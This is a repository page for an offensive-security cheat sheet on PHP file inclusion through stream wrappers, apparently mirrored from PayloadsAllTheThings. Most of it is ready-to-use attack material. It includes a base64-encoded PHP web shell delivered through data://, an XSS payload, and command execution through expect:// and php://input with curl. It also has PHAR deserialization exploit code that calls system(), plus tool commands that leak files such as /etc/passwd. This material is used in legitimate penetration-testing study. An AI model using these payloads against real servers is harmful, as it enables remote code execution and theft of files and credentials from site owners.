repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
wrappers.mdMarkdown285 lines19.9 KiBsource raw download

title: "Inclusion Using Wrappers" topic: "File Inclusion" topicSlug: "file-inclusion" sourcePath: "File Inclusion/Wrappers.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/File%20Inclusion/Wrappers.md" sha: "3ac27901c711" isReadme: false#

Inclusion Using Wrappers#

A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.

Summary#

Wrapper php://filter#

The part "php://filter" is case insensitive

Filter Description
php://filter/read=string.rot13/resource=index.php Display index.php as rot13
php://filter/convert.iconv.utf-8.utf-16/resource=index.php Encode index.php from utf8 to utf16
php://filter/convert.base64-encode/resource=index.php Display index.php as a base64 encoded string
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Wrappers can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

NOTE: Wrappers can be chained multiple times using | or /:

./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php

Also there is a way to turn the php://filter into a full RCE.

Wrapper data://#

The payload encoded in base64 is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>".

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://#

When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the expect:// wrapper can invoke shell commands as part of its input.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://#

Specify your payload in the POST parameters, this can be done with a simple curl command.

curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v

Alternatively, Kadimus has a module to automate this attack.

./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input

Wrapper zip://#

Wrapper phar://#

PHAR archive structure#

PHAR files work like ZIP files, when you can use the phar:// to access files stored inside them.

PHAR deserialization#

:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.

If a file operation is now performed on our existing phar file via the phar:// wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: include, file_get_contents, file_put_contents, copy, file_exists, is_executable, is_file, is_dir, is_link, is_writable, fileperms, fileinode, filesize, fileowner, filegroup, fileatime, filemtime, filectime, filetype, getimagesize, exif_read_data, stat, lstat, touch, md5_file, etc.

This exploit requires at least one class with magic methods such as __destruct() or __wakeup(). Let's take this AnyClass class as example, which execute the parameter data.

class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }
    
    function __destruct() {
        system($this->data);
    }
}

...
echo file_exists($_GET['page']);

We can craft a phar archive containing a serialized object in its meta-data.

// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// add object of any class as meta data
class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }
    
    function __destruct() {
        system($this->data);
    }
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Finally call the phar wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar

NOTE: you can use the $phar->setStub() to add the magic bytes of JPG file: \xff\xd8\xff

$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

Wrapper convert.iconv:// and dechunk://#

Leak file content from error-based oracle#

The goal of this exploitation is to leak the content of a file, one character at a time, based on the DownUnderCTF writeup.

Requirements:

The exploit chain is based on PHP filters: iconv and dechunk:

  1. Use the iconv filter with an encoding increasing the data size exponentially to trigger a memory error.
  2. Use the dechunk filter to determine the first character of the file, based on the previous error.
  3. Use the iconv filter again with encodings having different bytes ordering to swap remaining characters with the first one.

Exploit using synacktiv/php_filter_chains_oracle_exploit, the script will use either the HTTP status code: 500 or the time as an error-based oracle to determine the character.

$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0   
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!

Leak file content inside a custom format output#

To obtain the contents of some file, we would like to have: {"message":"<file contents>"}.

./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000

This can be used against vulnerable code like the following.

<?php
  $data = file_get_contents($_POST['url']);
  $data = json_decode($data);
  echo $data->message;
?>

Leak file content using blind file read primitive#

code remote.py # edit Remote.oracle
./lightyear.py test # test that your implementation works
./lightyear.py /etc/passwd # dump a file!

References#